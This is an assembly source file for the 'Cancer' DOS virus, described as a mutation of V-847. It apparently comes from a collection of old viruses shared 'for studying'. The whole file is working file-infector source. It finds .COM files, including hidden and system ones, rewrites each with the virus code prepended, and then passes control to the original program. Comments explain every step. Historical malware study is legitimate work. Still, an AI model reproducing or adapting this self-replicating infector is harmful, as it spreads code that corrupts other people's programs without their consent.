c-740b.asm

More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use

      page      ,132
      name       CANCER
      title      Cancer - a mutation of the V-847 virus
     .radix      16
      code       segment
      assume     cs:code,ds:code
      org        100

olddta      equ      80
virlen      equ      offset endcode - offset start
smalcod     equ      offset endcode - offset transf
buffer      equ      offset endcode + 100
newdta      equ      offset endcode + 10
fname   =  newdta + 1E
virlenx =  offset endcode - offset start

start:
      jmp      cancer

ident      dw      'VI'
counter    db      0
allcom     db      '*.COM',0
vleng      db      virlen
n_10D      db      3            ;Unused
progbeg    dd      ?
eof        dw      ?
handle     dw      ?

cancer:
      mov      ax,cs          ;Move program code
      add      ax,1000        ; 64K bytes forward
      mov      es,ax
      inc      [counter]
      mov      si,offset start
      xor      di,di
      mov      cx,virlen
      rep      movsb

      mov      dx,newdta      ;Set new Disk Transfer Address
      mov      ah,1A          ;Set DTA
      int      21
      mov      dx,offset allcom      ;Search for '*.COM' files
      mov      cx,110b        ;Normal, Hidden or System
      mov      ah,4E          ;Find First file
      int      21
      jc       done            ;Quit if none found

mainlp:
      mov      dx,offset fname
      mov      ax,3D02        ;Open file in Read/Write mode
      int      21
      mov      [handle],ax    ;Save handle
      mov      bx,ax
      push     es
      pop      ds
      mov      dx,buffer
      mov      cx,0FFFF       ;Read all bytes
      mov      ah,3F          ;Read from handle
      int      21             ;Bytes read in AX
      add      ax,buffer
      mov      cs:[eof],ax    ;Save pointer to the end of file

      xor      cx,cx          ;Go to file beginning
      mov      dx,cx
      mov      bx,cs:[handle]
      mov      ax,4200        ;LSEEK from the beginning of the file
      int      21
      jc       close          ;Leave this file if error occures

      mov      dx,0           ;Write the whole code (virus+file)
      mov      cx,cs:[eof]    ; back onto the file
      mov      bx,cs:[handle]
      mov      ah,40          ;Write to handle
      int      21

close:
      mov      bx,cs:[handle]
      mov      ah,3E          ;Close the file
      int      21

      push      cs
      pop      ds             ;Restore DS
      mov      ah,4F          ;Find next matching file
      mov      dx,newdta
      int      21
      jc       done           ;Exit if all found
      jmp      mainlp         ;Otherwise loop again

done:
      mov      dx,olddta      ;Restore old Disk Transfer Address
      mov      ah,1A          ;Set DTA
      int      21

      mov      si,offset transf      ;Move this part of code
      mov      cx,smalcod     ;Code length
      xor      di,di          ;Move to ES:0
      rep      movsb          ;Do it

      xor      di,di          ;Clear DI
      mov      word ptr cs:[progbeg],0
      mov      word ptr cs:[progbeg+2],es      ;Point progbeg at program start
      jmp      cs:[progbeg]   ;Jump at program start

transf:
      push     ds
      pop      es
      mov      si,buffer+100
      cmp      [counter],1
      jne      skip
      sub      si,200
skip:
      mov      di,offset start
      mov      cx,0FFFF       ;Restore original program's code
      sub      cx,si
      rep      movsb
      mov      word ptr cs:[start],offset start
      mov      word ptr cs:[start+2],ds
      jmp      dword ptr cs:[start]      ;Jump to program start
endcode label      byte

      int      20             ;Dummy program
      int      20             ;???

      db       0              ;Unused

code           ends
      end      start